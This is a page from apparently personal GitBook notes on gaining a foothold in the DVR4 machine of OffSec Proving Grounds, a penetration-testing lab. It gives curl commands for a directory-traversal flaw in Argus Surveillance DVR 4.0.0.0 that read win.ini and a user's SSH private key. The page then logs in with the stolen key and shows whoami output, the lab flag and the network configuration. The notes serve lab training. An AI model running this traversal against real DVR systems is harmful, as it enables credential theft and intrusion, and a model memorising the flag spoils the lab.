OffSec Proving Grounds
Ctrlk
LinkedIn
  • Proving Grounds
    • Proving Grounds Practice
      • Active Directory
      • Windows
        • Billyboss
        • Kevin
        • Internal
        • DVR4
          • Recon
          • Enumeration
          • Foothold
            • Enumeration
          • Priv Esc
          • Credentials / Notes / LL
        • Nickel
        • Jacko
        • Shenzi
        • Algernon
        • Craft
        • Squid
        • Medjed
        • AuthBy
      • Linux
    • Proving Ground Play
    • Template
Powered by GitBook
On this page
  1. Proving Grounds
  2. Proving Grounds Practice
  3. Windows
  4. DVR4

Foothold

LogoArgus Surveillance DVR 4.0.0.0 - Directory TraversalExploit Database
Previous445NextEnumeration

Last updated 1 year ago

$ curl "http://192.168.151.179:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fwin.ini"
$ curl "http://192.168.151.179:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FUsers%2FViewer%2F.ssh%2Fid_rsa"
$ vi id_viewer
                                                                                                                                                                                              
$ chmod 600 id_viewer 
$ ssh [email protected] -i id_viewer
Microsoft Windows [Version 10.0.19044.1645]
(c) Microsoft Corporation. All rights reserved.

C:\Users\viewer>whoami
dvr4\viewer

C:\Users\viewer>type C:\Users\viewer\Desktop\local.txt
92c16d424eb5a28143346c84ada43954

C:\Users\viewer>ipconfig

Windows IP Configuration


Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . : 
   IPv4 Address. . . . . . . . . . . : 192.168.151.179
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.151.254

C:\Users\viewer>